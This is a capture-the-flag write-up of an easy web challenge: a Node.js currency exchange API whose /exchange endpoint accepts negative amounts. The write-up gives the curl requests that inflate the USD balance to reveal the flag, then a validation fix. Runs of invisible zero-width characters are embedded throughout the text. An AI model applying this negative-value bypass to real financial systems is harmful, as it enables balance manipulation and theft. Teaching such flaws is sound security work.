← Back to Writeups
CUSTOMEasyWeb

Обменник «У Апишечки»

XESXOR9/10/20262 min read
#web#custom#easy#business_logic_bypass#insufficient_input_validation#negative_value_injection#linux

Обменник «У Апишечки»

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: business_logic_bypass, insufficient_input_validation, negative_value_injection

Summary

Task: Node.js/Express currency exchange REST API where flag is revealed when USD balance exceeds 1000. Solution: Negative amount injection bypasses insufficient funds check and increases balance via subtraction of a negative number.

Обменник «У Апишечки» — Bug Makers CTF

Description

В нашем подпольном обменнике валют «У Апишечки» самый выгодный курс обмена RUB/USD. Вот только интерфейс не самый удобный для пользователя – по REST api.

English summary: An underground currency exchange service with a REST API. The application lets users exchange USD↔RUB. The goal is to increase the USD balance above 1000 to obtain the flag.

Analysis

The challenge provides a Node.js/Express application (index.js + package.json) with three endpoints: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

EndpointMethodPurpose
/exchangePOSTExchange USD↔RUB with rate 81.31
/balanceGETCheck balance; returns flag if USD > 1000
/resetPOSTReset balance to 1000 USD, 0 RUB

Initial session balance: 1000 USD, 0 RUB. The flag is returned when req.session.balance.USD > 1000 (strictly greater than).

The exchange rate is fixed at USD_TO_RUB = 81.31. A simple round-trip exchange (USD→RUB→USD) would lose nothing or gain nothing meaningful due to the same rate being used in both directions — but the real vulnerability is elsewhere. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Vulnerability: Missing Negative Amount Validation

The /exchange endpoint has a critical flaw — it never validates that amount > 0:

javascript
// Line 87: Insufficient funds check — passes for negative amounts!
// 1000 < -1 evaluates to false, so the check is bypassed
if (req.session.balance[fromCurrency] < amount) {
    return res.status(400).json({ error: 'Insufficient funds' });
}

// Lines 94-95: Balance update with negative amount
req.session.balance[fromCurrency] -= parseFloat(amount);  // 1000 -= (-1) = 1001
req.session.balance[toCurrency] += convertedAmount;        // 0 += (-81.31) = -81.31

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When amount = -1:

  1. Insufficient funds check: 1000 < -1 → false → check passes
  2. Source currency: 1000 - (-1) = 1001 → USD increases
  3. Target currency: 0 + (-1 × 81.31) = -81.31 → RUB goes negative (irrelevant)

The USD balance becomes 1001, which is > 1000, triggering the flag reveal on /balance.

Solution

The exploit requires just two HTTP requests with cookie persistence for session tracking:

bash
# Step 1: Exchange with negative amount to increase USD balance
curl -c cookies.txt -b cookies.txt -X POST https://exchange-api.t1.bug-makers.ru/exchange \
  -H "Content-Type: application/json" \
  -d '{"amount": -1, "fromCurrency": "USD", "toCurrency": "RUB"}'
# Response: {"message":"Exchange successful","convertedAmount":-81.31,"newBalance":{"USD":1001,"RUB":-81.31}}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Retrieve the flag
curl -b cookies.txt https://exchange-api.t1.bug-makers.ru/balance
# Response: {"FLAG":"BugCTF{REDACTED}"}

The fix would be to add amount <= 0 validation:

javascript
if (!amount || amount <= 0 || !fromCurrency || !toCurrency) {
    return res.status(400).json({ error: 'Invalid amount' });
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍